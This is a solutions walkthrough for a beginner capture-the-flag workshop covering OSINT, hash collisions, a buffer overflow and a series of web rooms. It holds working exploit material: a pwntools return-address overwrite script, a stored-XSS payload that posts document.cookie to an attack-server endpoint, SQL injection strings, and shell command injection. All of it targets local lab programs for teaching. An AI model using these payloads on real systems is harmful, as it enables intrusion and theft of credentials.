Solutions

Catastrophic Vulnerabilities Everywhere (CVE)

- You have been tasked to investigate an IP address `155.69.19.55`. What is a search engine you can use to find internet-connected devices?

```
Shodan
```

- Who is the ISP associated with the IP address?

```
NTU
```

- There are some vulnerabilities associated with the IP address. What are their CVE numbers and CVSS 3 scores?

```
CVE-2020-23064; 6.1

CVE-2019-11358; 6.1

CVE-2020-11022; 6.1

CVE-2020-11023; 6.1
```

- What is the name of the software running the web server?

```
Apache
```

Hashbrown

- What is the following string, `aHR0cHM6Ly9vbGQua2FsaS5vcmcva2FsaS1pbWFnZXMva2FsaS0yMDIzLjIv`, encoded with?

```
Base64
```

- For the tutorials, you are encouraged to use a virtual machine (VM) running Kali Linux. What is the SHA256 sum for the amd64 Kali Linux 2023.2 ISO?

Use CyberChef to decode the Base64 string in the first question to get a URL to archived versions of Kali Linux:

```
https://old.kali.org/kali-images/kali-2023.2/
```

There will be a file called `SHA256SUMS`. Download it and open using a text editor.

```
1409a2944ccd15908fcc3ce40b582aaf29722293d04916e400d869be540b390d  kali-
linux-2023.2a-hyperv-i386.7z.torrent
4aeaac60c69fb7137beaaef1fa48c194431274bcb8abf2d9f01c1087c8263b6a  kali-
linux-2023.2a-installer-amd64.iso
3462bc133b07f4d9f63f68942432aae2bd1a3d97afd78b808d6f000395186cce  kali-
linux-2023.2a-installer-amd64.iso.torrent
```

- Someone has asked you to run a program named `browserLockdown.exe` with a SHA256 hash of `aee20f9188a5c3954623583c6b0e6623ec90d5cd3fdec4e1001646e27664002c`. You are suspicious of this request and decide to investigate more. What is the software trying to masquerade as this program?

  Go to the VirusTotal website. Under the 'Search' tab, enter the SHA256 hash and search. Under the 'Details' tab, scroll to the 'Names' section. You will find that the hash is associated with the 'WannaCry' malware.

- What is the vulnerability demonstrated by the hashbrown.out program, where 2 different pieces of data give the same hash output?

  ```
  Hash collision
  ```

- What is the flag obtained from running the `hashbrown.out` program?

  You can find a repositiory of files with MD5 hash collisions at `https://github.com/corkami/collisions`.
  Pass them as inputs to the program as indicated in the question hints

Hexhunt

- What is the name of the vulnerability found when using the `-o` option in the `hexhunt.out` binary?

  ```
  Buffer overflow
  ```

- What is the size of the buffer used?

  Keep increasing the length of the input until the buffer gets overflowed and the flag is revealed...

```
32
```

- What is the flag obtained?

```
0x4067{HEXHUNT_OVERFLOWING_WITH_GOOD_VIBES}
```

- When using the `-d` option, you are given a 'payload quota' of 16. Increase this payload quota in order to obtain the flag!

```
0x4067{SEE_YOU_ON_19_JANUARY_2038}
```

- The flag also contains a date. Investigate why this date is important with regards to computer systems.

  Search online about the "Year 2038 problem"

- When using the `-r` option, you are asked to send some data to the target. Exploit this vulnerability to call the `returnAFlag()` function present in the binary.

  Use the provided Python script to craft a payload.

```
import pwn

args = ['./hexhunt.out', '-r', 'ntu.edu.sg']
p = pwn.process(args)
elf = pwn.ELF(p.argv[0])

returnAFlag_addr = elf.symbols['returnAFlag']
print(f"returnAFlag_addr={hex(returnAFlag_addr)}")

payload = b"a"*32 + pwn.p64(0) + pwn.p64(returnAFlag_addr)

p.sendline(payload)
p.interactive()
```

Timelapse

- What is a vulnerability where an attacker can gain information about a system's secret or private data by measuring the time it takes for certain operations to complete?

```
Time based or timing side channels
```

- What is the flag obtained from the `timelapse.out` program?

```
0x4067{TIMELAPSE_IS_ALL_ABOUT_SIDE_CHANNELS}
```

- You have been tasked with investigating an image found at the following link: `https://raw.githubusercontent.com/0x4067/KpMU0l0N/main/SCSE.png`. What is interesting about the metadata of the image?

  Use one of the many EXIF viewers available online (or even file properties), you will be able to find the following under 'Comments': `more stuff hidden in the bitplanes...`

- A QR code with another link to a text file is hidden somewhere within the image. What is the steganography technique used in the text file?

  Based on the clue above, we are dealing with steganography involving 'bitplanes'. One such tool that checks for this is `https://stegonline.georgeom.net`.
  Click on "Browse Bit Planes" and navigate to the 2nd Blue bit plane. You will see the QR code.
  The QR code leads to a text file.
  The text file describes "zero-width steganography"

- The flag obtained from the text file contains yet another link to a research paper. What is the phone model discussed in the paper?

  Copy the contents of the text file and paste them into zero-width steganography tools such as `https://330k.github.io/misc_tools/unicode_steganography.html`
  The hidden text is

  ```
  0x4067{TIMELAPSE_CHECK_THIS_OUT_https://eprint.iacr.org/2023/923}
  ```

  The link brings you to a research paper about power side channels that can be observed by using an **iPhone 13 Pro Max** to record fluctuations of a device's power LED.

Wacky Web Woes

- What kind of server is the `wackywebwoes.out` program running?

  Upon launching the program, you can see the following message in the terminal

  ```
  * Serving Flask app
  * Debug mode: off
  ```

  More specifically, you can navigate to the "Network" tab of the browser tools and find the following header under the HTTP response from the web application

  ```
  Server:       Werkzeug/2.3.7 Python/3.10.11
  ```

- Explore Room 0 to get to Room 1. What is the flag hidden in Room 0?

  Check the source code of the Room 0 web page. You will find the flag and link to Room 1

```
<a href="/f99f55aeda8d7d6198c0bfae1350875f8a173c1f1c6ba2a5f2a18f73e674a9e0"
style="display: none;" role="button">Proceed to Room 1</a>
<!--0x4067{WWW_GET_TO_THE_SOURCE}-->
```

- Read more about the `rockyou.txt` wordlist. When was this wordlist created?

  Around 2009 when the RockYou data breach occured.

- Room 1 can be solved with directory enumeration. What is the name of the hidden directory?

```
autodiscover
```

- What is another directory enumeration tool written in `Go`?

```
Gobuster
```

- Room 2 deals with a cookie. What is the cookie encoded with?

```
Base64
```

- The cookie needs to be modified to access Room 3. What value needs to be changed?

  Decode the Base64 cookie. Change the following from 0 to 1:

```
{"is_allowed_to_enter": 0}
```

  Re-encode the modified value into Base64

```
eyJpc19hbGxvd2VkX3RvX2VudGVyIjogMX0=
```

  Replace the value of the 'pantry' cookie in the Cookies tab of the browser tools, then refresh the web page. The button to Room 3 will appear.

- What is a commonly used pentesting tool for intercepting and modifying HTTP requests?

  This program is pre installed in Kali Linux

```
BurpSuite
```

- What HTTP methods does Room 3 accept? Making a HTTP request using one of the methods reveals a flag.

  Start a new BurpSuite session. Using the Proxy tool, turn on Intercept and select 'Open browser'.
  Once the BurpSuite proxy browser has opened, navigate the URL for Room 3. The HTTP request will show up in the intercept tab in BurpSuite

```
GET /5f106379cbda5f75215d54ed15ec26e0712c2262a9abe8b1b249980a0f2107df?
apiPath=/609ab7b9aa350754009970c42b38b769667451685bfa00d5346070f75fe455c0
HTTP/1.1
Host: 0.0.0.0:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

  On the HTTP request output, right click and select 'Send to Repeater'. Then, navigate to the Repeater tab.
  In the 'Repeater' function, you can swap `GET` method with other HTTP methods, and then hit 'Send' to see if you get any interesting responses.
  Using the `POST` method will give a 200 response.

```
// request
POST /5f106379cbda5f75215d54ed15ec26e0712c2262a9abe8b1b249980a0f2107df
HTTP/1.1
Host: 0.0.0.0:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

// response
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 34
Server: Werkzeug/2.0.2 Python/3.9.2
```

```
Date: Mon, 09 Oct 2023 01:57:40 GMT
Give-Room-3-Flag header not found!
```

Following the clue given in the response, add the following to the next `POST` request

```
Give-Room-3-Flag: you can write anything here
```

You will get the following response

```
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 22
Server: Werkzeug/2.0.2 Python/3.9.2
Date: Mon, 09 Oct 2023 02:11:33 GMT

0x4067{WWW_FOXY_PROXY}
```

- Exploit the vulnerability described in Room 3 to move on to Room 4!

  Pay special attention to the the URL in the browser

  ```
  http://0.0.0.0:5000/5f106379cbda5f75215d54ed15ec26e0712c2262a9abe8b1b249980a
  0f2107df?
  apiPath=/609ab7b9aa350754009970c42b38b769667451685bfa00d5346070f75fe455c0
  ```

  While you are not able to access `http://0.0.0.0:5000/room-3-secret`, you can do so with `http://0.0.0.0:5000/5f106379cbda5f75215d54ed15ec26e0712c2262a9abe8b1b249980a0f2107df?apiPath=/room-3-secret`
  Then, you will see the button to access Room 4

- What kind of XSS vulnerability is being demonstrated in Room 4?

  ```
  Stored XSS
  ```

  Messages sent from the Message Panel are stored on the server and then displayed on the Admin Panel.
  By crafting a XSS payload and sending it to the admin, it will be executed everytime the Admin Panel is opened.

- What is the flag returned in Room 4?

  To solve this question, we can create a payload that sends a HTTP POST request to the malicious server with the cookies of the webpage in the request body.

Send the following from the Message Panel:

```
<script>fetch('http://0.0.0.0:5000/attackserver', { method: 'POST', body:
document.cookie})</script>
```

Then, access the Admin Panel to execute this HTTP request. Go to the Malicious Server panel to view the request made by the Admin Panel.

```
Host: 0.0.0.0:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Referer: http://0.0.0.0:5000/room-4-admin
Content-Type: text/plain;charset=UTF-8 Origin: http://0.0.0.0:5000 Content-
Length: 25 Connection: keep-alive Cookie: room_4_cookie=doNotDelete

room_4_cookie=doNotDelete

0x4067{WWW_YOU_GOT_XSSED} The path to room five is
/2a30d440ee2e6c26d703a956e78d1b5fdb70ec9d6ae5dd0fb363d0097b6018dc
```

- What kind of SQL injection is being demonstrated in Room 5?

```
Blind SQL Injection
```

The SQL queries we inject does not extract any data from the database, rather, the outcomes (like being able to login or not), indicate if the SQL query was successful or not.

- What is the username used for the login form?

The username is hidden in the source code

```
room5
```

You can make use of this information to try out a common SQL injection payload in the username field. Since we do not know what the password is, this payload effectively comments out the password checks in the underlying SQL query.

```
room5"; --
```

Them, the button for Room 6 will appear, but it only redirects back to the same page.

- How many columns are there in the table used?

We can indirectly find out the number of columns in the database using

```
room5" UNION SELECT 1; --
```

Nothing significant happens with this query, so just keep playing around with the number of columns selected and you will eventually find that there are 4 columns in the table

```
room5" UNION SELECT 1,2,3,4; --
```

Such techniques indirectly reveals information about the database.

The correct button to Room 6 will now appear

- What vulnerability is present in Room 6?

```
Code injection
```

Aside from the clue 'echo' in the response, you will just have to experiment with possible payloads to find out this vulnerability...

Do note that this room is basically accessing the the same Linux shell you are using, but just imagine that you are exploiting a remote server 😃

- What is the flag obtained from the `txt` file?

To test for code injection vulnerabilities, you can try a payload like this

```
// input
&& whoami

// response
Thank you for your feedback! We shall echo your feedback here:
kali
```

The hint mentioned the `/tmp` folder, so use the following payload to view the files in the directory and read the text file

```
// input
&& ls /tmp

// response
Thank you for your feedback! We shall echo your feedback here:
room_6_flag.txt

// input
```

```
&& cat /tmp/room_6_flag.txt

// response
Thank you for your feedback! We shall echo your feedback here:
Oh, you dropped this: 0x4067{WWW_END_OF_CHALLENGE}
```